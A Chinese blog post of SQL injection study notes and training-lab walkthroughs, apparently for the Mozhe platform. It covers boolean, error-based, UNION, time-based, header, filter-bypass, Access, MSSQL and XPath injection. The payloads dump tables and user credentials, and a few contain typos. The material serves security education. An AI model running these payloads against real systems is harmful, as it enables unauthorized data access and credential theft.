数据库

sql注入整理

2020-04-03  本文已影响0人  二潘

在我们测试用到的时候,经常会使用到一些语法,应该透彻理解透彻这些函数
1)order byb

用于根据指定的列对\color{red}{结果集进行排序}
语句默认按照升序对记录进行排序。
语法:select id ,username,password from users order by password;

image.png
2)UNION 操作符

MySQL UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据。
注意:UNION 内部的每个 SELECT 语句必须拥有\color{red}{相同数量的列}。列也必须拥有相似的数据类型。
默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

语法:select * from users union select 1,2,3;


image.png

输入不同的列数,会报错


image.png

3)limit

LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。初始记录行的偏移量是 0(而不是 1)

语法:

limit 0,1, 从你的表中的第0个数据开始,只读取一个;

4)concat函数,concat_ws函数,concat_group函数之间的区别

mysql> select id,username,password from users limit 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

语法及使用方式
concat(str1,str2,......)
如果结果为连接参数产生的字符串。如果任何一个参数为NULL,则返回NULL。可以是一个参数也可以是多个参数。
使用方法:

mysql> select concat(id,',',username,',',password) as con from users limit 1;
+-------------+
| con         |
+-------------+
| 1,Dumb,Dumb |
+-------------+
1 row in set (0.00 sec)

分隔符为NULL 示例
mysql> select concat('id',null,'username') as con from users limit 1;
+------+
| con  |
+------+
| NULL |
+------+
1 row in set (0.00 sec)
mysql> select concat_ws('-',id,username,password) as con from users limit 2,2;
+------------------+
| con              |
+------------------+
| 3-Dummy-p@ssword |
| 4-secure-crappy  |
+------------------+
2 rows in set (0.00 sec)

mysql> select concat_ws('-','username',null,'password');
+-------------------------------------------+
| concat_ws('-','username',null,'password') |
+-------------------------------------------+
| username-password                         |
+-------------------------------------------+
1 row in set (0.00 sec)
select columnA,columnB from table group by columnA,columnB
则查询结果将按照columnA和columnB分类显示。没有显示在group by中的列不能直接作为返回列放在sql语句中,比如如下sql就是不正确的

select columnA,columnC from table group by columnA

习题

1、SQL注入(布尔盲注注入)

用到的函数

mysql> select substr('2018-08-0711111',6,7);
+-------------------------------+
| substr('2018-08-0711111',6,7) |
+-------------------------------+
| 08-0711                       |
+-------------------------------+
1 row in set (0.00 sec)

mysql> select substr('2018-08-0711111',6);
+-----------------------------+
| substr('2018-08-0711111',6) |
+-----------------------------+
| 08-0711111                  |
+-----------------------------+
1 row in set (0.00 sec)

mysql中的substr()函数和hibernate的substr()参数都一样,就是含义有所不同。
区别:
mysql中的start是从1开始的,而hibernate中的start是从0开始的。

所谓的盲注,就是在注入过程中,sql语句的执行结果不回显到前端,这个时候只能用一些其他的方法进行尝试和判断,这个判断的过程叫做盲注,盲注可以分为:布尔盲注、基于时间的盲注、基于报错的盲注
既然是布尔盲注,那回显结果肯定要被判别为True和False.
这里举例,墨者学院的题目。
不太想用工具,所以把注入过程整理出来
启动靶机,发现是一个登陆口,界面上滚动栏存在sql注入点


image.png

判断是否存在注入,输入单引号,页面报错


image.png

这里就把页面是为False,上面页面有内容视为True.然后我们就能以标准去判断枚举,比如我们猜测数据库的长度,判断它是不是大于10,我们可以访问

http://219.153.49.228:41882/new_list.php?id=1 and length(database())>10
image.png

结果页面返回Flase,就是说明数据库小于10或者等于10,于是进行下一步探测,发现长度等于10


image.png

知道了数据长度,下面就要猜测数据库名了,我们这边使用substr函数进行探测
语句为

?id=1 and ascii(substr((select database()),1,1))=111

手动一个一个探测肯定慢,还是使用burpsuite进行探测


image.png

payload 1设置为数据库的长度10
payload 2 设置为numbers,from 1 ,to 127,step1
进行爆破


image.png
跑出来的结果和ASCII值进行匹配,结果为:
image.png

库:
stormgroup
知道了库,下面就要爆破 表名了,重复上面的步骤即可,发现数据库存在两个表,

and ascii(substr((select table_name from information_schema.tables where table_schema='stormgroup' limit 1,1),1,1))=110
image.png
and ascii(substr((select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1),1,1))=109
image.png

表为
notice
member

探测列名

and ascii(substr((select column_name from information_schema.columns where table_name='member' and table_schema='stormgroup' limit 0,1),1,1))
image.png
and ascii(substr((select column_name from information_schema.columns where table_name='member' and table_schema='stormgroup' limit 1,1),1,1)) 
image.png

我只要知道存用户名和密码的列即可,其他的列可以不用猜测的
列:
name
password

接下来就是才是用户密码密码了,这边用户名好猜测,密码我就不知道怎么猜测了,密码是MD5加密32位的。

and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))
image.png

得到的用户名位:mozhe
爆破密码

and ascii(substr((select concat(password) from stormgroup.member limit 1,1),1,1))
image.png

把爆破位数和ascii的值进行整理,python把ascii表转换成数字与字母,解码得到密码,进行登陆。

盲注时候经常用到比较,这时候要是比较符号(<>)被注释了不能用平常的方法了,所以需要用某些函数如greatest()[greatest(n1,n2,n3....)函数返回输入参数(n1,n2,n3.....)的最大值]、least()等,比如下面语句:select * from users where id =1 and ascii(substr(database(),0,1))>64就就可以替换成select * from users where id =1 and greatest(ascii(substr(database(),0,1)),64)=64

等价函数绕过:

hex()、bin() ---->ascii()
sleep() --->benchmark()
concat_ws() ---> group_concat()
mid()、substr() --->substring()
@@user ---> user()
@@datadir --->datadir()

举例说明substring()substr()无法使用时:id=1+and+ascii(lower(mid((select+pwd+from+users+limint+1,1),1,1)))=74

或者:

substr((select 'password'),1,1)=0x70 #0x70,十六进制编码
strcmp(left('password' ,1),0x69)=1
strcmp(left('password',1)0x70)=0
strcmp(left('password',1),0x71)=-1

2、X-Forwarded-For注入漏洞

漏洞背景

在Web应用开发中,经常会需要获取客户端IP地址。一个典型的例子就是投票系统,为了防止刷票,需要限制每个IP地址只能投票一次。
X-Forwarded-For也是HTTP头注入注入的一种;

如何获取到客户端ip

在java中,获取客户端IP最直接的方式就是使用\color{red}{request.getRemoteAddr()}。这种方式能获取到连接服务器客户端IP,在\color{red}{中间没有设置代理的情况下},这种方式最简单最直接。但是互联网web应用很少会将应用服务器直接对外提供服务,一般都是会有一层nginx反向代理和负载均衡,有的甚至可能还有很多层代理。在有代理的情况下,直接使用\color{red}{request.getRemoteAddr()}获取到的是nginx所在的服务器IP地址,并不是客户端的IP地址。

为了解决这个问题,很多HTTP代理会在HTTP头中添加\color{red}{X-Forwarded-For}头,用力追踪请求的来源。X-Forwarded-For的格式如下
X-Forwarded-For:client1,proxy1,proxy2
\color{red}{X-Forwarded-For}包含多个IP,每个值使用逗号+空格分开,最左边(client1)是最原始客户端的IP地址,中间如果有多层代理,每一层代理会将连接它的客户端IP追加到\color{red}{X-Forwarded-For}右边。

用到的函数

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

and extractvalue(null,concat(0x7e,(sql_inject),0x7e))
可以理解成,让后台xml故意报错
0x7e的具体含义是:~
利用这种方式,对后台进行一个排序,指定第一个参数位null,让他故意报错,将第二个参数中的语句带入数据库执行,最后报错显示执行的结果。
id= 1 and extractvalue(null,concat(0x7e,(select database()),0x7e))

and updatexml(1,concat(0x7e,(sql_inject),1))
updatexml用于更新XML数据的,但是我们非法传参的话,使他估计报错,执行我们的SQL语句,0x7e任然是~用来区分数据的

漏洞示例演示:
打开环境,发现页面只有登陆口,对登陆口进行用户名密码猜解,点击提交,提示框会收集客户端IP地址,说明IP地址被记录了,把IP地址inser到表中

image.png

抓包瞅瞅,在数据包中加入x-forwarded-for头,值为:127.0.0.1发送请求后发现返回alert语句,记录了我们使用的这个IP地址,后面加上单引号直接爆错。看到登录页面的时候心里就应该知道,他是没有返回的地方的,但是开启了报错信息,所以有可能是报错注入。


image.png

根据回显数据知道输入的ip会回显,尝试注入
由于用了单引号进行报错,所以后面一定要构造闭合,爆当前数据库

127.0.0.1' and extractvalue(null,concat(0x7e,(select database()),0x7e)) and '1'='1      #and '1'='1用于闭合后面的语句  
image.png

枚举表名

127.0.0.1' and extractvalue(null,concat(0x7e,(select group_concat(table_name)  from information_schema.tables where table_schema='webcalendar'),0x7e)) and '1'='1   
image.png

枚举列名

127.0.0.1' and extractvalue(null,concat(0x7e,(select group_concat(column_name)  from information_schema.columns where table_schema='webcalendar' and table_name='user'),0x7e)) and '1'='1
image.png

枚举用户名密码

127.0.0.1' and extractvalue(null,concat(0x7e,(select group_concat(username,password) from user),0x7e)) and '1'='1
image.png

等到用户名密码进行登陆。

3、SQL过滤字符后手工注入漏洞测试(1)

测试的时候发现不管输入什么字符都不行,估计是检测到我注入语句了,然后进行跳转;
过滤了空格,过滤了=,所以这边我们空格使用/**/进行绕过,=使用like或in进行绕过;
这个题目还有一个坑,我是网上看wp才知道的,order by,union select ,and 字段,也被过滤了,需要url编码之后才能进行注入
判断注入的类型数值型

/**/and/**/1/**/like/**/1    页面正常显示
/**/and/**/1/**/like/**/2   页面报错
image.png

知道注入类型之后,还有绕过的方式,下面就开始表演把。
下面所有注入语句都需要利用burpsuite自带的模块decoder进行url编码
测试长度5报错,4正常显示,说明长度为4

/**/order/**/by/**/5
image.png

查看当前显示位

/**/union/**/select/**/1,2,3,4    进行url编码
image.png

当前数据库和当前数据用户

/**/union/**/select/**/1,database(),user(),4
image.png

判断表

/**/union/**/select/**/1,group_concat(table_name),3,4 from/**/information_schema.tables/**/where/**/table_schema=database()
image.png

判断列

/**/union/**/select/**/1,group_concat(column_name),3,4/**/from information_schema.columns/**/where/**/table_name='stormgroup_member
image.png

获取数值

/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/stormgroup_member
image.png

4、SQL手工注入测试(Access数据库)

\color{red}{Access没有数据库的概念},所有的表都是在一个数据库下的,所有我们不用去判断当前的数据库,并且Access数据库中也\color{red}{不存在database()函数}
Access数据库中的函数

select len('string')   #查看给定字符串的长度
select asc('a')        #查看当前给定字符串的ascii值
top n              #查询n条记录
select mid('string',2,1)   #查询给定字符串从指定索引开始的长度

mid(string,start,length)这个用来截取字符串的

Access数据库持有表是:msysobjects,所以可以用它来判断是否是Access数据库

exists(select*from msysobjects)  #如果这条语句正确,说明是Access数据库

判断漏洞类型为数值型

and 1=1    返回正常
and 1=2   返回报错
image.png

判断长度长度为4,5页面报错

order by 4
image.png

猜表名(应为Access数据库用联合语句显示可显示字段时,必须用“from 表名,所有要先猜测表名”)

and exists(select * from admin)   #若存在表名为admin的表,则正常显示,否则现在出错

表为:admin
常见的表有
admin admins admin_user admin_usr admin_msg admin_login user username manager msg_user msg_login useradmin 等等

image.png
提示:Access数据库有个表名为:news,没啥用

猜列名

and exists(select username from admin)  #若admin表中存在列名为username的列,则页面显示正常,否则页面出错

and exists(select passwd from admin)  #若admin表中存在列名为passwd的列,则页面显示正常,否则页面出错

列名为:passwd和username

image.png
image.png
常见的列
admin admin_user username password passwd pass pwd users usr user_login user_name login_name 等等
最后一步就是获取用户名和密码了
首先需要判断显示位
union select 1,2,3,4 from admin
image.png

联合查询

union select 1,username,passwd,4 from admin
image.png

得到用户名和密码,我这个是好猜测的,一般都是比较难猜测表和列的。

猜测admin列的第一个数据的长度,如果大于5查询不出数据,大于4正常,说明admin列的第一个数据长度是5
and (select top 1 len(admin)from admin)>5
 
猜测admin列的第一行数据的第一个字符的ascii码值,如果大于97查询不出数据,大于96正常,说明admin列的第一行数据的第一个字符的ascii值是97
and (select top 1 asc(mid(admin,1,1))from admin)>97 
第一行数据的第二个字符
and (select top 1 asc(mid(admin,2,1))from admin)>97 
 
从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
查询第二行admin列的长度
and (select top 1 len(admin)  from ( select top 2 * from information order by id)  order by id desc)>55
下面是查询第2条数据的第3个字符
and (select top 1 asc(mid(admin,3,1))  from ( select top 2 * from information order by id)  order by id desc)>55
查询第三条数据的4个字符
and (select top 1 asc(mid(admin,4,1))  from ( select top 3 * from information order by id)  order by id desc)>55

输入-1页面报错


image.png

数值型注入

and 1=1   正确
and 1=2  报错
image.png

长度4,5爆错

order by 4
image.png

显示位

?id=-1 union select 1,2,3,4
image.png

当前数据库与用户

?id=-1 union select 1,database(),user(),4
image.png

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
image.png

?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=‘mozhe_Discuz_StormGroup' and table_name='StormGroup_member'
image.png

爆用户名和密码

?id=-1 union select 1,group_concat(name),group_concat(password),4 rom StormGroup_member
image.png

5、SQL注入漏洞测试(报错盲注)

根据题目提示可以知道,该题目是报错盲注,上面提到的两个函数都是可以使用的extractvalue()和updatexml(),上面我用过extractvalue函数了,这题我将使用updatexml函数。

输入单引号页面报错,存在注入


image.png

判断注入的类型

and 1=1 and 1=2 页面均显示正常
判断为字符型
' and 1=1 --+  页面正常
' and 1=1 --+   页面报错  
根据上面报错信息,我们可以知道后面的语句需要进行闭合 --+或者%23都可以

判断长度为4,5页面报错

?id=1' order by 4 --+
image.png

判断当前数据库也可以判断当前用户名,修改database()变成user()即可

?id=-1' and (updatexml(null,concat(0x7e,(select database()),0x7e),1)) --+
image.png

查看表

?id=-1' and (updatexml(null,concat(0x7e,(select group_concat(table_namea) from information_schema.tables where table_schema=database()),0x7e),1)) --+ 
image.png

查看列

?id=-1' and (updatexml(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member'),0x7e),1)) --+
image.png

爆用户名密码

?id=-1' and (updatexml(null,concat(0x7e,(select group_concat(name,0x7e,password)from member),0x7e),1)) --+
image.png

哎,不对呀,这个密码怎么只显示了一半呢?看了其他人的wp知道,由于报错回显的字符串位数有限,因此使用substr进行裁剪
获取密码前20位
status=1 获取status为1的name和password的值,其他值可以根据实际环境进行调整0,1,2.....

?id=-1' and (updatexml(null,concat(0x7e,substr((select group_concat(name,0x7e,password) from member where status=1),1,20),0x7e),1)) --+ 
image.png

获取密码21-40

?id=-1' and (updatexml(null,concat(0x7e,substr((select group_concat(name,0x7e,password) from member where status=1),21,40),0x7e),1)) --+
image.png

解密进行登陆

6、SQL注入漏洞测试(HTTP头注入)

第一次做这种类型的环境,看了其他人的wp才知道注入点在host上面
修改host参数
or 1=1 页面报错,判断存在注入

判断长度
长度为4,5报错

Host:order by 4
image.png

判断显示位

Host: union select 1,2,3,4
image.png

判断当前数据库与用户名

Host: union select 1,database(),user(),4
image.png

枚举表

 Host: union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
image.png

枚举列

Host: union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='flag'
image.png

获取flag

Host: union select 1,group_concat(flag),3,4 from flag
image.png

7、SQL手工注入漏洞测试(MySQL数据库-字符型

输入单引号页面报错


image.png

输入

?id=tingjigonggao' and '1'='1 页面正常显示
?id=tingjigonggao' and '1'='2 页面显示异常
image.png

判断长度
长度为4,5爆错

?id=tingjigonggao' order by 4 %23
image.png

判断当前显示位

?id=-1' union select 1,2,3,4 --+
image.png

判断当前数据库

?id=-1' union select 1,database(),3,4 --+
image.png

判断表

?id=-1' union select 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema=database() --+
image.png

判断列

?id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='stormgroup_member' --+
image.png

爆用户名密码

?id=-1' union select 1,group_concat(name),group_concat(password),4 from stormgroup_member --+
image.png

8、SQL注入漏洞测试(时间盲注)

原理:当数据库进行查询操作,如果查询的条件不存在时,语句执行的时间便是0,但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本上是0。
例子


image.png

于是sleep(N)这个语句在这种情况下起到了非常大的作用。

Select sleep(N)可以让此语句运行n秒钟。


image.png

但是如果查询语句的条件不存在,执行的时间便是0,利用该函数这样一个特殊的性质,可以利用时间延迟来判断我们查询的是否存在。

这便是SQL基于时间延迟的盲注的工作原理

用到的函数

if
格式:if(Condition,a,b)
含义:如果Condition成立,则A,负责B

substr
格式:substr(string,start,len)
含义:从string的start位开始截取len个字符

ascii
格式:ascii(char)
含义:将char转换成ascii码

盲注思路:
基于时间的盲注

if(ascii(substr(查询语句,start,1))=97,sleep(3),1)

基于布尔盲注

or ascii(substr(查询语句,start,1))=97

substr函数中可以连接select语句

两种类型注入的区别
补充
?type=1 and if(1=1,sleep(5),1) --+   时间为5.23s
?type=1 and if(1=2,sleep(5),1) --+  时间297ms

存在时间注入


image.png

判断数据库长度
当等于12时,发送时间注入延时

?type=1 and if(length(database())=12,sleep(5),1) --+
image.png

查看当前数据库
依旧使用神器bp,进行爆破

?type=1 and if(ascii(substr(database(),1,1))=98,sleep(5),1) --+
image.png

猜表的长度
判断长度为4,发送时间注入延时

?type=1 and if(length((select table_name from information_schema.tables where table_schema='pentesterlab' limit 1,1))=4,sleep(5),1) --+
image.png

猜解当前表,有4个表,修改payload进行猜解
表:comment、flag、.....

?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102,sleep(5),1) --+
image.png
?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1))=116,sleep(5),1) --+ 
image.png

获取字段值
猜解长度,为4

?type=1 and  if(length((select column_name from information_schema.columns where table_name='flag' limit 1,1))=4,sleep(5),1) --+
image.png

字段猜测

?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=‘flag’ limit 0,1),1,1))=105,sleep(5),1) --+
image.png
?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=‘flag’ limit 1,1),1,1))=105,sleep(5),1) --+
image.png

表有:id 、flag.........

获取数据
判断长度
长度为6,发送延迟注入

?type=1 and if(length((select flag from flag limit 0,1))=6,sleep(5),1) --+
image.png
?type=1 and if(ascii(substr((select flag from flag limit 0,1),1,1))=109,sleep(5),1)--+
image.png

得到flag,进行提交

9、XPath注入漏洞实战

XML 被设计用来传输和存储数据
HTML 被设计用来显示数据。
在利用漏洞前,我们需要对漏洞原理进行理解。
由于SQL中存在权限的概念,所以在程序中和数据库方面都可以对数据库权限做分配和防护。而XPath中数据管理不受权限控制,在表单中提交恶意的XPath代码,就可以直接获取到权限数据的访问权,并可修改这些数据。同样的,构造恶意查询获取到系统内部完整的XML文档内容造成信息泄露。也可以在获取到XML文档内容后进行用户权限提升等。

XPath注入

XPath是一种用在内存中导航整个XML数的语言,它使用路径表达式来获取XML文档中的节点或者节点集。XPath的设计初衷是作为以一种面向XSLT和Xpointer的语言,后来独立成了一种W3C标准。而XPath注入是指利用XPath解析器的\color{red}{松散输入}\color{red}{容错特性},能够在url、表单或其他信息上附带恶意的XPath查询代码,已获得权限信息的访问权并更改这些信息。XPath注入与SQL注入类似,均是通过构造恶意的查询语句,对应用程序进行攻击。

XPath注入攻击原理

Xpath注入的原理其实和sql注入很像,Xpath攻击注入主要通过构建特殊的输入,这些输入往往是Xpath语法中的一些组合,这些输入将作为参数传入web应用程序,通过执行Xpath查询而执行入侵者想要的操作,但是,注入的对象不是\color{red}{数据库users表了,而是一个存储数据的xml文件}
攻击者可以获取xml数据的结构,或者访问在正常情况下不允许访问的数据,如果xml数据被用户认证,那么攻击者就可以提升权限。
因为Xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。XML中没有访问控制或者用户认证,如果用户有权限使用Xpath查询并且之间没有任何防御系统或者查询语句没有被防御系统过滤,那么用户就能够访问整个XML文档。
注入出现的位置也就是\color{red}{cookies、headers、request、parameters/input等}XPath注入攻击主要是通过构造特殊的输入,这些输入将作为参数传入web应用程序中,通过执行XPath查询而执行入侵者想要的操作,下面以登录验证中的模块为例,说明XPath注入攻击的实现原理。
在WEB应用程序的登陆验证过程中,一般有用户名(username)和密码(password)两个参数,程序会通过用户所输入的用户名和密码来执行授权操作,如验证数据存放在XML文件中,其原理是通过查找user表中的用户名(username)和密码(password)的结果来进行授权访问。
例如存在user.xml文件如下:

<users>

     <user>

         <firstname>Ben</firstname>

         <lastname>Elmore</lastname>

         <loginID>abc</loginID>

         <password>test123</password>

     </user>

     <user>

         <firstname>Shlomy</firstname>

         <lastname>Gantz</lastname>

         <loginID>xyz</loginID>

         <password>123test</password>

     </user>

则在XPath中其典型的查询语句如下:
//users/user[loginID/text()='zs' and password/text()='123test']
但是可以采用如下方式实施注入攻击,绕过身份验证。如果用户传入一个login和password,例如loginID='zs'和密码password='123test',则该查询语句将放回True。但如果用户传入类似'or 1=1 or ''='的值,那么该查询语句也会得到True返回值,\color{red}{因为XPath查询语句最终会变成如下代码:}
//users/user[loginID/text()=''or 1=1 or ''='' and password/text()=''or 1=1 or ''='']
这个字符串在逻辑上使查询一直返回True并将一直允许攻击者访问系统。攻击者可以利用Xpath在引用程序中动态的操作XML文档。攻击完成后登陆可以在通过Xpath盲入技术获取最高权限和其他重要账号。

例子

判断注入点:
网站url/demo.php?name=xml,判断可能存在Xpath注入漏洞。
输入单引号,页面发生变化
分析:
Xpath中典型的查询语句如下:
//users/user[loginID/text()='user' and password/text()='password']
这里怀疑查询语句为:
//users/user[loginID/text()='xml' and password/text()='']
可以采用如下的方式实施注入攻击,绕过身份验证。如果用户传入一个login和password,例如loginID='user'和password='password',则该查询语句将返回true。但是如果用户传入类似' or 1=1 or ''=' 的值,那么查询语句也会得到true返回值,因为Xpath查询语句最终会变成下面的这种代码:
//users/user[loginID/text()=''or 1=1 or ''='' and password/text()=''or 1=1 or ''='']闭合语句,绕过验证。

在网址后面加上' or '1=1' or ''=' 或者']|//*|//*['
' or '1=1' or ''=' 闭合语句再进行绕过

类似的还有,都可以实现绕过
'or '1'='1、'or '1'or'1、'or 1=1 or ''='、']|//*|//*['
']|//|//[' Xpath 语法,访问XML的所有节点类似sql注入,绕过查询条件

image.png image.png image.png

10、SQL手工注入漏洞测试(Sql Server数据库) (不太熟)

做题之前首先要了解一下sql server数据库,这样才能更好的学习
sql server 的正式名称是“Microsoft SQL Server”。微软的数据库应用程序是“SQL Server”
其他几个数据库
Oracle:最著名的Oracle数据库。甲骨文公司的一款关系数据库管理系统
Mysql:一个开源数据库。通常用于WEB应用开发
SQL Server:Microsoft数据库,操作简单。
PostgreSQL:一个开源数据库,关系型数据库,功能强大。
DB2:是IBM一种分布式数据库解决方案。简单点:DB2就是IBM开发的一种大型关系型数据库平台。
Oracle和SQL Server通常在企业中使用比较多,占用率很高。Mysql通常在WEB应用开发中使用。

系统库

master
master数据库控制sql server的\color{red}{所有方面,}这个数据库中包含所有的配置信息、用户登陆信息、当前正在服务器运行中的过程的信息。
model
model数据库是\color{red}{建立所有数据时的模板,}当你建立一个新的数据库时,sql server会把model数据库中的所有对象建立一份拷贝并移动到新数据库中,在模板对象被拷贝到新的用户数据库之后,该数据库的所有多余空间都将被页面填满。
tempdb
tempdb数据库是一个非常特殊的数据库,\color{red}{供所有来访问sql server的用户使用,}这个库用来保存所有的\color{red}{临时表}、存储过程和其他sql server建立的临时用的东西,例如:排序时要用到tempdb数据库,数据被放进tempdb数据库,排完序会再把结果返回给用户。每次sql server重启,它都会情况tempdb数据库并重建,\color{red}{永远}不要在tempdb数据库上面建立需要永久保存的表。
msdb
msdb数据库是sql server中的一个特例,如果你查看这个数据库的实际定义,会发现它其实是一个\color{red}{用户数据库},不同之处是sql server拿这个数据库用来做什么,所有的任务调度、报警、操作员都存储在这个msdb数据库中给,该库的另一个功能是用来存储所有备份历史,sql server agent将会使用这个库。
information_schema
information_schema是在sql server 2000及跟高版本存在的,可以检索数据库中的对象的元数据,\color{red}{与MySQL中有着相同的功能},它是符合iso标准的,与sys不同,sys是微软自己搞出来的。

注释方式
c语言注释风格   /*
sql 注释风格    --
空字节  ;%00
T-sql语句注释:/**/、--
系统视图

sys.databases:所有数据库名


image.png

information_schema.tables 当前数据库中的表


image.png

information_schema.columns 当前数据库列


image.png

sys.database_files 数据库数据文件


image.png
常用的全部变量

@@version:返回当前的Sql server安装的版本、处理器体系结构、生成日期和操作系统。
@@servername:放回运行Sql server的本地服务器名称


image.png
逻辑运算符

all:如果一组的比较都为true,那么为true
and:如果两个布尔表达式都为true,则为true
or:如果两个布尔表达式中的一个为true,则为true
any:如果一组的比较中,任何一个为true,那么为true
between:如果操作数在某个范围内,那么为true
in:如果操作数等于表达式列表之一,那么为true
like:如果操作数与一种模式相匹配,则为true
not:对任何其他布尔运算的值去反
some:如果在一组比较中,有些为true,则为true

top
在sql server,没有MySQL中的limit控制符,如果实现limit控制符功能则可以使用top进行代替

select top(n-m+1) id from tablename
where id not in (
select top m-1 id from tablename
)
image.png
image.png
连接运算符

+号是字符串串联运算符:'aaa+bbb'='aaabbb'


image.png
函数

ASCII()、CHAR()、LEFT(str,i)、RIGHT(str,i)、LEN(str)、SUBSTRING(str,i,n)
STR(i):将数值转换到字符数据

类型转换
cast(x as type) 将一个类型转换成另一个类型 cast(10 as char(3))

系统函数
col_length(table,column) 返回表中指定字段长度值
col_name(table_id,column_id) 返回表中指定字段的名称
datalength(exp) 返回数据表达式的数据是实际长度


image.png
image.png

db_name(database_id) 返回当前数据库的名称


image.png

host_name 返回服务器计算器名称


image.png

suser_sname 返回当前用户登录名


image.png

user_name() 返回数据库用户名


image.png
基本注入

这里做一个判断and 1=1 和 and 1=2,来做一个简单的分析


image.png

判断字段数,3显示异常,4显示正常,5又是异常,不知道长度到底为2还是4

?id=2 order by 4
image.png

判断显示位
通过sql语句中union select null,null,null,null 和union select null,null页面都是显示错误,说明系统禁止使用union进行相关SQL查询,我们得使用其他的方式进行查询union all selectunion select null,null,null字段为4的时候正常的,可以看到回显,就不用布尔和时间盲注了。然后需要猜测数据类型,因为这个语句对应的字段的数据类型必须要正确,才不会报错。常用的一般就是字符和字符,然后分别尝试union all select 1,null,null,null正常,union all select 1,2,null,null正常,union all select 1,2,3,null异常,把3改为‘3’,正常,能看到回显了(一开始的3是数字类型,数据库的是字符串类型所以一直失败。)

image.png
?id=-2 union all select 1,2,'3',null
image.png

枚举当前用户和数据库版本

?id=-2 union all select 1,system_user,@@version,2
image.png

当前数据库

?id=-2 union all select 1,system_user,db_name(),2
image.png

测试权限

?id=2/is_srvrolemember('sysadmin')
image.png

加号的使用
%2B是+的编码,url中不能直接使用,否则会别解析为空格
http://219.153.49.228:49135/new_list.asp?id=2 and 1=0 union all select 1,system_user%2B'|'%2Bdb_name(),@@version,2
翻译成为
http://219.153.49.228:49135/new_list.asp?id=2 and 1=0 union all select 1,system_user+'|'+db_name(),@@version,2

枚举出当前所有的数据库

?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),name,2 from master..sysdatabases 
image.png
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),name,2 from master..sysdatabases where name not in('master')
image.png

按照上面方法,直到报错

?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),name,2 from master..sysdatabases where name not in('master','model','mozhe_db_v2','msdb','tempdb')
image.png

即得到所有的数据库为:
'master','model','mozhe_db_v2','msdb','tempdb'

我比较疑问的是这里为什么使用master..sysdatabases,百度了之后才知道,Microsoft SQL Server上的每个数据库在表中占一行。最初安装 SQL Server 时, sysdatabases 包含 master 、 model 、 msdb 、 mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。

枚举出目标库的所有表

?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),name,2 from mozhe_db_v2..sysobjects where xtype='u'
image.png
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),name,2 from mozhe_db_v2..sysobjects where xtype='u' and name not in ('manage')
image.png

按照上面方法,直到报错

?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),name,2 from mozhe_db_v2..sysobjects where xtype='u' and name not in ('manage','announcement')
image.png

报错,结束

即得到所有的表名为:manage,announcement

需要解释的函数
MSsqlserver==microsoft sql server==mssql
这里的mmsql和MySQL语法有点不同,mmsql记录敏感信息的表在sysobjects中
当xtype='U' 代表是用户建立的表。
可以参考这里的文章进行学习和理解sysobjectsxtype

枚举出表的字段名

?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),b.name,2 from mozhe_db_v2..sysobjects a, mozhe_db_v2..syscolumns b where a.xtype='U' and a.id=b.id and a.name='manage'
image.png
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),b.name,2 from mozhe_db_v2..sysobjects a, mozhe_db_v2..syscolumns b where a.xtype='U' and a.id=b.id and a.name='manage' and b.name not in ('id')
image.png
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),b.name,2 from mozhe_db_v2..sysobjects a, mozhe_db_v2..syscolumns b where a.xtype='U' and a.id=b.id and a.name='manage' and b.name not in ('id','username','password')
image.png

即得到表manage的字段名为:id,username,password

同理

?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),b.name,2 from mozhe_db_v2..sysobjects a, mozhe_db_v2..syscolumns b where a.xtype='U' and a.id=b.id and a.name='announcement'
image.png
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),b.name,2 from mozhe_db_v2..sysobjects a, mozhe_db_v2..syscolumns b where a.xtype='U' and a.id=b.id and a.name='announcement' and b.name not in ('id','title','contents','times')
image.png

得到表announcement的字段名为:id,title,contents,times

或者使用下面的方法进行枚举

?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',null
image.png
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',null
image.png
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',null
image.png

也可以获取到manage的字段名为:id,username,password

需要解释的函数
